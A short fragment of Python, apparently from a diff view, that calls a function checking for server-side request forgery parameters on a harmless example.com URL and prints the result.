result = check_ssrf_params('url="http://example.com"')
|
|
220
|
+
print(f"SSRF params: {result}")
|